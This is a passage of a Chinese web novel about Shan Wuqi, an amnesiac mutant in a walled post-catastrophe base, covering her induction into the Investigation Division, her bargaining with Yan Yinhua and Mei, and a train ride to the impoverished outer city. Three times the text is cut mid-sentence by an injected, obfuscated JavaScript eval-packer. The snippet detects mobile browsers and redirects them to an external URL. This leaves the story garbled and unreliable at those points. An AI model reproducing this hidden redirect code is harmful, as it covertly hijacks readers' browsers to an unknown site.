“虽说过去的事情少提为妙,但我还是忍不住多嘴一句。”阎银华温和地反击,“在你被流放前,你就是靠那些漂亮口号飞速晋升的。经你润笔的演讲稿,谁听了不会声泪俱下?” 这是阎银华第一次谈论过去的单无绮。 单无绮摊手:“我以为,从前的我是个武人。” “这并不冲突。”阎银华说,“左手笔杆,右手枪杆,所以首长格外器重你。毕竟一份工资两份用途,谁不喜欢这样的副官呢?” 单无绮:“……” 单无绮:“银老头,你偏题了。” 单无绮和阎银华有种难言的默契。 二人聊天时,调查司的六人仿佛被隔在一个无形的罩子外。 直到单无绮主动结束话题,这种氛围才逐渐消失。 “开拓,就是调查司的精神核心。”阎银华看着面前的七人,“但开拓意味着牺牲,今年,没有一位新党员选择调查司。” 所有人沉默。 “所幸,我们以另一种方式迎来了新成员。”阎银华笑道,“无绮,无论过去的你是谁,从今天开始,你将正式成为调查司的一份子。” 佩佩第一个跳起来:“好耶!” 羊角辫小姑娘天真直率,她扑进单无绮怀里,仰起稚气未脱的小脸。 “是新人!”她雀跃道,“我终于可以当前辈了!” 单无绮觉得好笑,伸臂搂住佩佩。 下一秒,她的表情愣住了。 佩佩穿着鲜艳的裙裤,身体包裹得严严实实。 第一眼看到佩佩时,单无绮被她的两根大羊角辫吸引了注意力,并未关注其他地方。 但现在,单无绮终于察觉了佩佩的异常。 ——怀里的佩佩仿佛一个人形水团,皮囊下没有骨肉的实感,稍微一用力,就能将她揉搓成另一个形状。 佩佩把脸埋进单无绮胸里:“绮绮姐,你闻起来好香。” 单无绮没有回话。 在其他人隐晦的注视下,单无绮抬起一只手,以极轻的力道揉了揉佩佩的发顶。 阮禾松了口气。 她把佩佩从单无绮怀里拉出来:“佩佩,别闹。” 但佩佩再次钻到单无绮怀里。 “我喜欢绮绮姐。”小姑娘甜甜地说,“她真的好香。” 阮禾的表情有点着急。 尤娜听到佩佩这么说,站直了身体。 “安多尼,”她下令,“带佩佩去‘那里’。” 安多尼点头。 他高大魁梧,朝单无绮和佩佩走来时,仿佛一面移动的墙壁。 佩佩听到尤娜的话后,整个人突然焦躁起来。 她用力往单无绮怀里挤,像是要把自己揉进单无绮的身体里。 突然,单无绮颈上的拘束器变得滚烫! 拘束器戏称“狗牌”,材质未知,通体冰凉。 但随着佩佩的动作,拘束器仿佛检测到某种异常,从近乎休眠的低能耗状态转换为工作状态。 单无绮惊愕地感受着拘束器的变化。 “佩特拉!”小男孩维沙尔大声道。 单无绮低头。 单无绮:“!!!” 她的感觉并非错觉。 佩佩真的是一个人形水团! 佩佩的身体融化了大半,刹那工夫延伸出十几根触手,将单无绮的躯干紧紧缠住。 但不知道为什么,佩佩并没有成功将单无绮缠紧。 那些冰凉的、水一样的触手一经用力,便如同水融入水,毫无阻力地融进了单无绮的身体。 脖子上的拘束器一瞬间滚烫了十倍。 单无绮痛苦地皱了一下眉头。 安多尼来到单无绮身边。 “愿主……科学保佑你。”高大的男子及时改口。 他的体型过于魁梧,进入办公室时,他微微佝着身子,但即便如此,他依然是调查司六人中最高的一个。 但现在,他挺直脊背,头发几乎触碰到天花板照明的灯管。 单无绮倒吸一口凉气,抬起脑袋仰视安多尼。 ——这位大兄弟至少有两米三。 安多尼抬起手腕,宽大的衣袖滑落,露出腕上的玫瑰念珠。 那些念珠乍一看十分普通,但颗颗圆润饱满,泛着莹润的光泽。 佩佩的大半个身体已经融进单无绮体内。 安多尼缓慢地拨动玫瑰念珠,口中喃喃低语,听不清念着什么。 单无绮突然面色涨红。 单无绮的身体素质很好,即使在墙外游荡时,她也没有任何不适,但安多尼的低语仿佛有某种魔力,哪怕单无绮一个字也听不清楚,她也觉得浑身的血液在沸腾。 拘束器前所未有的滚烫,甚至发出“滴滴”的警告。 单无绮单手撑住墙。 ——她想让安多尼停下,但她已经发不出哪怕一个音节。 啵。 一个极轻的声音响起。 强烈的不适感一瞬间潮水般退去。 单无绮如蒙大赦,扶着墙慢慢滑倒,坐在地上大口喘着粗气。 她低头,发现佩佩已经脱离自己的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“首长没有杀死你,但这不代表他完全信任你。”阎银华的声音低沉至极,“团结部调查司,死去的人葬尸荒野,归来的人也被阴影笼罩,活着只是延续痛苦的代价。” “无绮,你想一想,作为和异种最常打交道的司室,里面的成员会有怎样的困扰?” 单无绮埋头思索。 她很快得出答案:“异化,像我一样。” “不,他们和你不一样。”阎银华说,“你是唯一保留人类意识的异种,你明白这意味着什么吗?” 这是单无绮第二次听到这句话。 第一次,是在禁闭室,从首长的口中。 单无绮看向门口,安多尼和佩佩早已离开。 她又想起了梅。 梅是执行司司长。 执行司负责击杀异种。 “如果调查员失控,执行司的人就会击杀他们,对吗?”单无绮盯着阎银华,“这就是首长把我送来团结部的原因,对吗?” “难以想象,记忆全失的你仅仅用了三天,就能通过蛛丝马迹瞄准真相。”阎银华鼓掌。 这掌声实在有些讽刺。 但单无绮并没有生气。 这样残酷但真实的逻辑才是她希望看到的。 把自己的生命,托付给虚无缥缈的羁绊和理想,实在是让她提心吊胆。 “既然我已经加入调查司,那么,下一次壁外调查,想必就要启动了吧?”单无绮问。 “不错。”阎银华答。 “凭什么只有首长才能下注,我也要下注。”单无绮舔了舔嘴唇。 阎银华安静地看着单无绮。 他笑了:“你果然还是你。说吧,你想赌什么?” “我受不了有人骑在我头上,至少不能是所有人。你说调查司很重要,对吧?” “是的。” “我要当司长,我要和梅,还有萨摩平起平坐。”单无绮狮子大开口,“让我成为调查司司长,我会成为你最忠诚得力的下属——以我的性命为赌注。” 5. 叛逆的尤娜 阎银华和单无绮对视。 良久,阎银华突然大笑起来。 阎银华的笑声,像是从肺腑中猛烈迸发,畅快、豪放、释然。 随着他大笑的动作,他似乎吐掉了一股看不见的浊气,整个人愈发精神抖擞。 “好!好!好!”阎银华连说三个好字,“不愧是你,单无绮,我都忍不住怀疑,你所谓的失忆,是否只是麻痹我们的假象。” 单无绮没有回话。 “调查司很重要。”阎银华收敛笑意。 他竟然开始讨价还价:“我可以让你成为其他司室的司长,但调查司,我一个人做不了主。” 单无绮盯着阎银华。 她品出了阎银华的深意:“我要成为调查司司长,需要几个人背书?” “三个。”阎银华伸出三根手指。 单无绮笑了一声。 她走近阎银华,将他竖起的三根手指掰下一根。 “现在,还需要两个。”单无绮极轻地笑了一声,“银老头,我确认一下,这两人至少需要什么级别?” 阎银华看着自己两根竖起的手指。 他抬了抬眉毛,竟显出几丝看戏的狡黠。 “核心党员。”阎银华答道。 单无绮又掰下一根手指:“那么,我只需要搞定一个人了。” 阎银华再次看向自己的手。 他笑道:“方便告诉我,除了我,支持你的另一位核心党员是谁吗?” “梅。”单无绮答。 这是个意料之外,情理之中的答案。 阎银华有点意外。 他并不知道梅和单无绮何时搭上了线,但作为一人之下的部级核心党员,他的老练与修养让他没有流露出一丝破绽。 阎银华收回手:“我以为你会说萨摩。” “萨摩是个狼崽子,披着警犬的皮,做的事全不是人事。”单无绮无情地点评,“当我是友方时,他或许会因为人情世故的匮乏,而不知如何与我相处。但当我站在他的对立面……” 回忆起禁闭室的三天里,那流水般的刑具和拷问,单无绮抖了抖。 她继续道:“若非有人留我一命,他的獠牙,下一秒就会咬断我的咽喉。” 阎银华极富深意地盯了单无绮一眼。 他说:“未必。” “什么未必?” “萨摩是个好孩子,他是四部里唯一的正常人。” “说人话!” “去看一看佩佩吧。尤娜,你带无绮过去。”阎银华笑呵呵地转移话题,“三天后,基地将启动第127次壁外调查,这三天里,你需要好好熟悉一下你的队友。” 尤娜起身。 单无绮瞪视阎银华,阎银华笑眯眯。 这老头眨眼间恢复了和蔼的模样,但单无绮知道,他不过是将锋芒收入了刀鞘。 理智占据高地。 单无绮重新挂上笑容。 “银老头,感谢你对我的支持,你可千万不要跳票啊。”她笑嘻嘻地说,“等我说服萨摩,如果你这一票没了,我就只能厚着脸皮去求首长了。” 阎银华没吭声。 单无绮看向等待了一阵的尤娜:“麻烦你啦,请你带我去佩佩那里吧!” 尤娜颔首:“跟我来。” 单无绮和尤娜离开办公室,阮禾犹豫片刻,起身随行。 庄修文和维沙尔没有跟来。 单无绮不关心他们和阎银华有什么话要谈。 尤娜走在最前面,黑色皮衣披挂着银饰和黑羽,裁剪得有些破碎的黑色短裙下,黑丝袜裹住她骨肉均亭的双腿。 单无绮盯着尤娜。 黑羽将尤娜的脖颈团团簇拥,仿佛雏鸟蓬松的翎毛。 尤娜扭头:“看什么?” 单无绮缩了下脖子。 她对漂亮女孩子一向没脾气:“抱歉。” 尤娜冷哼一声,扭过头,粗鲁地扒开颈部的毛领。 ——她的颈上,黑色拘束器反射着微光。 尤娜等待了三秒。 确认单无绮看清了,她把毛领扒回去,将拘束器重新遮好。 尤娜继续带路。 尤娜明显情绪不佳,铆钉靴将地板踩得咚咚响。 阮禾走在单无绮身侧,不纯蓝的眼睛看向单无绮。 “抱歉啊,单姐。”阮禾比单无绮矮半个头,眼睛又大又灵,盛满了丰沛的情感,“尤娜她……最近心情不是很好。” 单无绮和阎银华唇枪舌剑,但单无绮的锋芒从不会对准女孩子。 单无绮理解地笑了笑:“没关系,尤娜很好,我喜欢她。” 尤娜的脚步微不可察地顿了一下。 下一秒,尤娜继续往前走,脚步声跺得更响了。 阮禾无奈地叹了口气。 她问出内心的疑惑:“你和阎老是什么关系呀?” “现在吗?上司和下属吧。” “那从前呢?” “从前的事,我一概全忘了。”单无绮看着阮禾,“我还要向你打听呢,从前的我,是个怎样的人?” 阮禾眨了下眼睛。 “自大、傲慢、偏执,四部乃至基地最疯的疯子,所有见过你的人都敬畏你,所有没见过你的人都景仰你。”尤娜突然插话。 单无绮和阮禾停下脚步。 单无绮看着尤娜的背影:“这是大家对我的评价吗?” “是,但不全是。”尤娜的腔调有种奇异的优雅,“在我看来,任何全褒或全贬的评价都不真实。流言是最好散播的,羊群只顾在头羊后面吃草,并不关注他们置身怎样一片草地。” 尤娜没有转身,单无绮看不见她脸上的表情。 单无绮笑了声:“介意说说你对我的评价吗?” “自大、傲慢、偏执,和流言里一模一样。”尤娜说道,“针对你的坏话,倒是一比一的真实,但他们忘了讨论你好的一面。” “你有一种兽性,单无绮。”她转过身,黑眸里闪烁着高傲的光彩。 阮禾:“……” 单无绮:“……” 单无绮:“这是夸人的话吗?” “人是从野兽脱胎出来的,但向上进化的途中,人逐渐忘记了来时的路。” 尤娜的眼神变得尖锐:“看看基地里的那些蠹虫!公民庸庸碌碌,付出一整个白日乃至黑夜的汗水,却只能换来勉强饱腹的薪水;党员以挤进四部为荣,将虚伪的冠冕视作他们的全部;而核心党员……” 尤娜停顿了一下。 她的表情顷刻间无比讥诮:“他们自以为站在所有人的肩膀上,但人类依然龟缩在这座小小的基地里。” 阮禾惊慌道:“尤娜,尤娜……” “我说错了吗,阮禾?”尤娜锋利地看着阮禾,“你就是性子太软了,才被人夺去评选核心党员的资格,取代你的那人,连真正的血都没见过!” 阮禾缩回伸出一半的手。 她失落地站在单无绮身边。 即使被人指着鼻子指责,她都没有一丝反驳的欲望。 单无绮抠了抠脑袋:“我听不太懂,尤娜。” “我是听着你的传闻长大的,虽然你的年龄比我还小,单无绮。”尤娜环起手臂,“你不知道,你的流放对四部造成了多大的冲击。” 单无绮来了兴致。 她说:“愿闻其详。” “首长最得力能干的副官,竟然犯下足以被流放的重罪!”尤娜说。 “你的拥趸为你洗白,说那是莫须有的罪名,你的政敌弹冠相庆,用尽手段把你的罪名坐实、夸大。” 尤娜走近单无绮,黑眸盯着单无绮的脸,“你离开的三年里,他们利用基地的喉舌,把你批驳成一个不可饶恕的罪人。他们从没想过你还会回来,此时此刻,那些抹黑你的人,大概正缩在被子里瑟瑟发抖吧。” 单无绮沉思。 她摸着下巴,喃喃道:“……难搞了。” 尤娜的眸子里闪烁着兴奋的光:“什么难搞?复仇吗?” “我还真的只能去说服萨摩投票了,毕竟我的名声已经臭了。”单无绮弹了弹脖子上的拘束器,“更别提我还戴着狗牌,这可是我身为异种的铁证。” 尤娜激动的神色一瞬间黯淡了。 她堪称失望地看着单无绮:“你这个懦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429114|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫。” 此后,三人一路无话。 单无绮来到了尤娜口中的“那里”。 那是团结部设立的禁闭室,和特情司的禁闭室不同,没有流水的刑具,没有令人窒息的拷问,只有伸手不见五指的黑暗。 佩佩缩在安多尼的怀里,恢复了一半的人形。 安多尼坐在地上,垂着头,粗大的手指一刻不停地滚动着念珠。 见单无绮几人到来,他抬起头,将食指竖在唇上。 “嘘。”这位巨人说,“佩佩睡着了。” 向三人嘱咐后,安多尼重新低下头。 他的手指轻柔地抚过佩佩的脸,唇齿间吐出低弱的祈祷。 祈祷时,七十二颗玫瑰念珠散发着微弱的荧光。 单无绮看着那些念珠。 她从那上面感受到一种遥远的呼唤。 “那些念珠是什么?”单无绮问。 “晶核。”阮禾答,“安多尼的每一颗念珠,都代表一个被他杀死的异种。” 单无绮回忆起刚苏醒的那段时光。 几只不长眼的异种向她扑袭,她杀掉了它们。 每个异种的大脑里,都有一颗晶莹剔透的不规则晶体。 单无绮看向安多尼的脖颈。 ——没有拘束器。 她又看向尤娜。 即使在昏暗的禁闭室里,尤娜的拘束器仍然闪着微光。 尤娜杀过的异种,只会比安多尼更多。 “你很厉害,尤娜。”单无绮由衷地赞美。 尤娜愣了一下,用力偏过头。 咚咚咚! 禁闭室的门突然被敲响。 佩佩惊醒了。 她在安多尼怀里打了个哆嗦,又揉着眼睛,恢复了人类的模样。 尤娜开口:“什么人?” “你果然在这里!”门外的那人松了口气,开门而入。 那人穿着制式服装,胸佩铜制剑徽,肩上空荡荡的,没有流苏,帽子的款式也和萨摩、梅两人不同,看起来是个普通党员。 那人没想到禁闭室里有这么多人。 他的目光扫过所有人,待看到单无绮这张生面孔时,他疑惑地“咦”了一声。 他对单无绮问道:“请问你是……?” “你是谁?”单无绮反问道。 “啊,我叫耶纶!” “单无绮。”单无绮看着耶纶,她明显地看到,后者的瞳孔猛烈收缩了一下,“你找调查司什么事?” 耶纶无措地看向尤娜。 尤娜偏回头,冷哼道:“你和她说吧。” “……外城发现一起异种侵袭事件,梅司长说,请求调查司配合活捉。”耶纶紧张得不行,甚至咬了一下舌头,“请、请你们派出至少两人支援,执行队已经等在楼下了!” “好。”单无绮道,“我和尤娜过去。” “我才不去!”尤娜激烈地反驳。 “求求你啦,尤娜,陪我去吧。”单无绮恳求道,“我是个没了记忆的小可怜,如果你不陪着我,他们都会欺负我的。” 尤娜的睫毛飞快抖动。 她微弱地答:“……好。” 二人随耶纶下楼。 一支全副武装的小队已经候在楼下。 他们见到单无绮这个生面孔,彼此窃窃私语。 领头的那人喝了一声,又上前一步,对单无绮行了个军礼。 “你好,单专员,我是麦尧,执行二队的队长。”麦尧铿锵道,“此次行动,麻烦你和尤娜专员配合我们。” “麦尧,这次由我带队。”一个声音突然说。 所有人看向发声的那人。 他穿着一长一短的靴子,单肩缀着流苏,帽子斜戴,胸口的铜制剑徽在阳光下反射着微光。 “哟,梅。”单无绮抬了抬下巴。 “不错,有长进。”梅向麦尧颔首,来到单无绮身边。 他高挑纤细,整个人仿佛一只精美的蝴蝶刀。 单无绮看着梅:“我正好有事要找你。” “之后再说。”梅哼笑道,“咱们先去外城,那里上演着一场好戏呢。” 6. 争吵 梅的话并不多。 几辆公车停在路边,所有人依次上车。 单无绮和尤娜坐进同一辆车,同乘的还有梅和麦尧。 路上,麦尧向单无绮介绍了基地背景。 两百多年前,一场突如其来的大灾变杀死了80%的人类,幸存的人类在废墟上建立了人类第一基地,并以城墙落成之日为新历1年。 基地建成的第一天,初代首长颁布法律,按照贡献排名,将所有公民划分成六等。 在法律文书中,这六等人有对应的冗长学名。 公民为了方便,将其称为ABCDEF级。 “基地一共有七个区。其中,一至六区对应A-F级公民的居住区,七区又称中央区,是基地的核心。”麦尧的解说详略得当,比一股脑倾倒情报的萨摩好了太多,“我们要去的外城,就是四至六区的统称。” 单无绮微不可察地皱眉:“所以,基地分为内外两城?” “是的,单专员。” “异种侵袭又是什么?” “人类第一基地是前代文明的科技遗珠,环绕基地的高墙十分坚固,而且外围覆盖着防护罩,异种绝无可能从外部突破。”麦尧道,“但三年前,基地内出现了第一个异种。” 单无绮沉默了片刻。 她轻声问:“为什么?” “原因至今不明。”麦尧答,同时小心地瞥了单无绮一眼,“但基地的官方报纸上,曾连续数期刊载过同一个流言。” 单无绮捕捉到麦尧的欲言又止。 她咽了下口水:“难道……他们说是我做的?” 尤娜冷哼一声:“一群蠹虫。” “在你离开后,那些尸位素餐的官员愈发肆无忌惮。”尤娜坐在单无绮身侧,黑眸看着窗外,“他们打着你的旗号,先是取消了诗歌专栏,然后封杀了所有样板戏以外的舞蹈和戏剧,最后,公民们连自由地说话都不行了!” 单无绮:“……” 单无绮:“我何德何能啊!” “四部之中,敌视你的人并不少。”梅突然插话,“动荡的三年里,没有比你更好的替罪羊了。” 四部总部皆设立在中央区。 单无绮一行人从中央区出发,跨越统称“内城”的一至三区,来到隔断内城和外城的城墙下。 单无绮率先下车。 她仰视面前巍峨的城墙。 这是她第二次近距离接触城墙。 内城和外城之间,只开了一道城门,穿梭两城依靠定点发车的火车,但四部党员执行特殊公务时,可以请求临时发车。 等待火车的时间中,单无绮伸出手,抚摸粗糙的墙壁。 这个世界太陌生了。 她来到基地不足五天,她之于世界宛如一个崭新的婴儿。 她旧惑未消,新惑犹生,她有太多问题亟待解答。 好奇是人最无可消解的天性,她竭力追逐每一个可能的答案,却只得到更大的谜团。 “怎么了?”梅走到单无绮身边,“一个人躲在这里扮蘑菇?” 单无绮转过身。 她看着梅俊俏的脸,后背倚上城墙。 “我说我在伤春悲秋,你信吗?”她笑嘻嘻地答。 “信,怎么不信?”梅哂笑一声。 他从裤兜里摸出一盒烟,抽出一根叼在嘴里。 他朝单无绮扬了扬烟盒:“来一根?” 单无绮的喉咙有点痒。 她接过烟,划燃火柴,先给梅点烟,再给自己点烟。 辛辣的烟雾吸入肺部,又从鼻腔呼出。 单无绮浅尝辄止:“够劲。我从前也抽烟?” “抽,但不敢在我面前抽。”梅同样倚着墙,一只脚支着墙面。 他吐出一口烟:“你致力于在我面前扮演一个好妹妹,但一个人的眼神是藏不住的,我只看你的眼睛,就能猜出许多事情。” 单无绮扬眉:“比如?” “比如,你喜欢过萨摩。” 单无绮的第二口烟呛住了。 “咳咳咳咳咳!”她咳出眼泪,又抬头瞪视,“你提我过去的情史干什么?我早就忘得一干二净了。” “你忘了,这不是正好吗?”梅歪头。 单无绮沉默了一下。 她问:“什么意思?” “一开始,你并没有非他不可的意思,他也迟迟没有开窍。”梅仅剩的右眼盯着单无绮,“但现在不一样了。” “你失忆了,但我知道,你还是你。”梅又吐了一口烟,“你依然是那只倔强的蝴蝶,反复坠入同一片蛛网,只为了那个虚无缥缈的理想。” 烟雾缭绕间,梅露出的右眼有一点寂寥:“我和你不一样,我不认主,谁给我一口饭吃,我就跟着谁——但你太忠诚了,忠诚到丢掉了自己的性命。” 单无绮没说话。 “我只剩你一个亲人了,所以,我有一句话要叮嘱你。”梅的灰眼睛看着单无绮,“这一次,你一定要为自己而活。” 单无绮眨眼。 她没太听懂梅的话,但她想起了另一件事。 单无绮朝梅讨好地笑:“梅,我有一件事求你。” 梅的两条细眉立刻竖了起来:“你又看上谁了?!” 单无绮:“……” 单无绮:“没有,怎么会呢。” “那就好。”梅含糊地咕哝,“说吧,你有什么事要求我?” “我想当调查司司长,想请你投我一票。”单无绮说。 “不行!!”梅大声反驳。 梅剧烈的反应出乎单无绮的预料。 单无绮讪讪地看着梅。 她从未想过,这个问题竟然这么严重。 单无绮微弱地道:“……你别生气嘛。” “你什么时候能让我省心?”梅的愤怒一瞬间攀升至顶峰。 他甚至控制不住情绪,一把抓住单无绮的领子,把她狠狠地往墙上掼。 “是不是有人和你说了什么?那三天你经历了什么?禁闭室……萨摩那狗崽子给你洗脑了,是不是?”梅凑近单无绮,喉间溢出狮子般低沉的怒吼,“你就这么不爱惜自己的性命,非把自己往死路上送?!” 二人巨大的动静引起其他人的注意。 看到单无绮被梅钳制,尤娜的面庞抖动了一瞬。 她冲过去,麦尧拉住了她。 麦尧轻声道:“司长……” “滚!有多远滚多远!”梅咬牙切齿地说,“我和她谈事,你们插什么嘴?” 一双手突然搭上梅揪着领子的手。 梅转过头,发现单无绮的脸因缺氧而充血。 但她的表情没有一丝失态。 “你这样大喊大叫,对事情有任何帮助吗?”单无绮的眼神平静极了。 单无绮很少卸下微笑。 但这一次,当单无绮不再微笑时,梅看到了单无绮过去的影子。 沉着、睿智、冷静。 执行司司长是明处的白刃,首长副官则是暗处的毒矢。 “冷静一点,梅。”单无绮看着梅的眼睛,“情绪失控绝不是好事,你正在变成一个疯子。” 梅的睫毛开始颤抖。 “先放开我,好吗?”单无绮安抚道,“身为两个成年人,我们应该心平气和地谈话。当然,不心平气和也行,我允许你对我发火,但不该是现在这样——语言才是掌权者的武器,互相扔泥巴是小孩子过家家。” 梅闭上眼。 他轻轻松开手。 单无绮从墙壁滑落,肩胛骨处擦伤一片,火辣辣地疼。 她嬉皮笑脸:“哥,我可是个异种,要是逼我长出触手,你就要被我抽成陀螺了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429115|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅睁开眼:“你叫我什么?” 单无绮愣了下:“……哥?” “谁是你哥。”梅嗤笑一声,轻轻扇上她的脑袋,“小没良心。” 单无绮绕着梅转圈圈。 她用尽各种讨好言语,恳求梅投她一票。 梅看起来很想给单无绮一拳,但他克制住了,灰眼睛沉默地盯着单无绮。 “你到底投不投!”单无绮来气了,“你不投,我就去求萨摩!” 梅怒目圆瞪。 单无绮毫不示弱地瞪回去。 “……投。”良久,梅泄了气,“满意了没?满意了赶紧滚!” 单无绮从善如流地滚了。 单无绮回到队列,尤娜立刻凑了上来。 她冰凉的指尖触碰单无绮的脖子:“你受伤了。” “还好,他算是手下留情了。”单无绮笑了声,“我就知道,连我都是个臭名远扬的坏种,梅又能是什么好人?” 麦尧道:“你其实挺好的。” “谢谢你,小麦,你是个好人。”单无绮真诚地道谢。 麦尧:“……” 麦尧把缩在队伍里的耶纶抓过来。 单无绮对耶纶很眼熟:“你是吵醒佩佩的那个人。” 耶纶嗫嚅:“对不起……” “我姓洛佩兹,全名麦尧·洛佩兹,我是纯正的欧罗巴人。”麦尧似乎经常被人误解,而耶纶是他最顺手的对照组,“他姓耶,全名耶纶,他的父亲是亚细亚人。” “所以呢?小麦。” “在姓氏前面加一个‘小’字,一般用于上级称呼下级,或者长辈称呼晚辈。”麦尧一板一眼地答,“我接受你以小X的形式称呼我,但请你叫我小洛佩兹,这才是正确的叫法。” “好的,小麦。” “……”麦尧沉默地盯着单无绮。 尤娜嗤笑一声:“我们没有义务配合你的强迫症,小麦。” 麦尧盯着尤娜:“为什么你也叫我小麦?” “因为你不叫庄修文招妹。” “……”麦尧腾地直起身子。 他沉默且愤怒地离开了。 “火车来了。”梅突然道。 单无绮看向铁路尽头。 一辆蒸汽火车从铁路尽头驶来。 它的头顶喷吐着火花四溅的浓烟,在明亮的天幕下也无比耀眼。 它行驶在银灰色的铁路上,两侧是逼仄密集的建筑。当它裹挟着烟与火驶来时,仿佛铁龙奔腾在嶙峋裂谷里,向上喷撒的蒸汽正是它的吐息。 “黎明号。”麦尧喃喃道,“勤劳部竟然派出了它。” “……是黎明号!”尤娜涨红了脸。 “妈呀,是黎明号。”耶纶小小地倒吸一口凉气。 “我想问一个问题。”单无绮不合时宜地开口,“这黎明号感觉是个老爷爷啊,跑起来哼哧哼哧的,它还能上路吗?” 她将求解的目光投向梅:“我们不是坐汽车过来的吗?为什么连内燃机都有了,基地还在使用蒸汽火车呢?” “因为文明断层。”梅答道。 他比单无绮高一头,仅剩的右眼看向单无绮:“人类第一基地是旧人类的遗产,它建立在上一纪文明的废墟上。我们无法生产大型机械,旧人类留下的机械,可以说用一台少一台。” 单无绮有点回过味了。 她看向驶来的蒸汽火车:“所以……” “蒸汽火车,是第一个成功复刻的交通工具,而黎明号,是基地的第一辆蒸汽火车。”蒸汽火车鸣笛刹停,梅的脸庞被火花照亮,“现在,你明白他们为什么兴奋了吗?” 单无绮看着刹停的火车。 它仿佛一头朽迈的老龙,安静地停靠在站台处。 “……黎明号,真是个好名字。”单无绮喃喃道,“虽然它是个老爷爷,但我喜欢它。” 7. 外城 乘坐黎明号,单无绮从内城来到外城。 高大的城墙巍峨耸立,宛如一道铁幕,将基地划分为内外两城。 基地的人口密度很大,但内城和外城之间,仍有一段短短的真空地带。 内城的光鲜靓丽离众人远去,迎面而来的,是一片灰黄交错的颓圮景象。 黎明号行驶在银灰色的铁路上。 它本是一头朽迈的老龙,在内城颇有些格格不入,但在外城,它竟然充斥着精壮的活气。 单无绮看着铁路两侧。 细细的窄道分布在平房与平房之间,仿佛蚁路。 窄道上,数不清的人影缓慢攒动。 他们宛如笼中病鸽,在逼仄的空间里求活,身形干瘦,面庞蜡黄,颧骨和肋骨高高鼓起,饱受饥敝。 听到黎明号的汽笛声,他们麻木地抬起头,又胆怯地低头,不敢与车上的人对视。 单无绮看着黎明号。 它经过细心保养,车表铁皮泛着古铜色的幽光。 单无绮又看向外城公民。 他们无一例外,都有着蜡黄的皮肤、灰败的眼睛、凹陷的双颊。 光彩熠熠的是死物。 暮气沉沉的是活人。 “这里就是外城吗?”单无绮收回视线,“他们就是D、E、F级的公民吗?” “是的。”麦尧敬业地答,“按照文书上的学名,他们是德尔塔、埃普斯隆和泽塔。” “他们在挨饿,为什么?” “因为他们是外城人。” 单无绮深吸一口气。 “为什么要划分内外城呢?”她的声音极轻,仿佛自语,“为什么要把公民划分成六等呢?” “如果不按劳分配,大家就不会劳动了。” 麦尧机械地背诵,“每人每天吃一样的东西,喝一样的东西,用一样的东西,基地的懒虫会越来越多。首长说过,有等级才有动力,大家可以通过贡献提升公民等级,一切都是为了人类的黎明。” 单无绮彻底沉默了。 她扭头看向窗外。 这是一个怎样的世界啊。 平等不是平均主义,等级是阶级的雏形。 在她被流放的三年里,诗歌专栏取消,报纸被庸官掌控,百花齐放的戏剧、舞蹈、歌曲被逐一封杀。 主观比客观轻松,堵上源头处的泉眼,比掌控汹涌的大海容易得多。 单无绮一路无言。 直至汽笛再次拉响,黎明号在月台停靠,她才重新挂上社交的笑脸。 外城驻守的党员已经候在外面。 他剃着利落的寸头,没有戴帽子,肩上也没有流苏。他穿着和四部党员相同的制式服装,胸口佩着铜制盾徽。 “日安,梅司长,我是友爱部稽查四队的队长,铁平康。”这位党员行了个军礼,“感谢团结部对我部的支援。” “日安,铁专员。”梅颔首,“这次异种侵袭有什么特殊之处?按照以往,就算需要击毙异种,只需请求执行司的支援即可,为何额外点名调查司?” 铁平康的视线扫过在场诸人。 待看到单无绮时,他的目光微不可察地停滞了一瞬。 “这次的异种,是由一位前核心党员异化的。”他道,“他没有任何攻击性,也罕见地保留了大部分理智,但他拒绝沟通,并指名要求首长前来相见。” 梅嗤了一声:“做梦吧。” “我无权越级汇报,于是向团结部申请支援。”铁平康的声音倏而有些沉痛,“调查司司长直接对首长负责,我本想将此事交给司长评判,但发出电报的第二天,我才愕然得知,司长已经在壁外调查中壮烈牺牲了。” 尤娜道:“斯人已逝,说重点。” “……异种保有理智十分罕见,而且随时可能暴走,我们的时间十分宝贵。”铁平康再次看向单无绮。 他的目光多了一丝放松:“所幸,上帝眷顾外城,单副官来了。” 梅咳嗽一声。 铁平康疑惑地看向梅。 “你在外城驻扎得太久了,消息不太灵通。”梅低声解释,“单无绮并未继任副官,她现在是调查司的见习调查员。” 铁平康:“……” 铁平康瞪大双眼:“什么!这……” “所以这个异种是我的老熟人吗?”单无绮环臂,这寒暄的环节有点过于冗长了,“时不我待,同志,请讲重点。” 铁平康收敛异色。 他再次行了个军礼:“单副……单专员,这个异种曾是您的下属,他是一名研究员,全名赫勒瓦尔·施耐德。” 梅没有告之铁平康,单无绮已经失忆的事。 单无绮懒得戳破:“走吧。” 铁平康愣了一瞬:“您需要防护机械和……” “用不着那玩意儿,老铁。”单无绮摆摆手,“我来搞定他。” * 单无绮来到赫勒瓦尔的住处。 整理仪容后,她敲响赫勒瓦尔的房门。 咚咚咚! 无人回应。 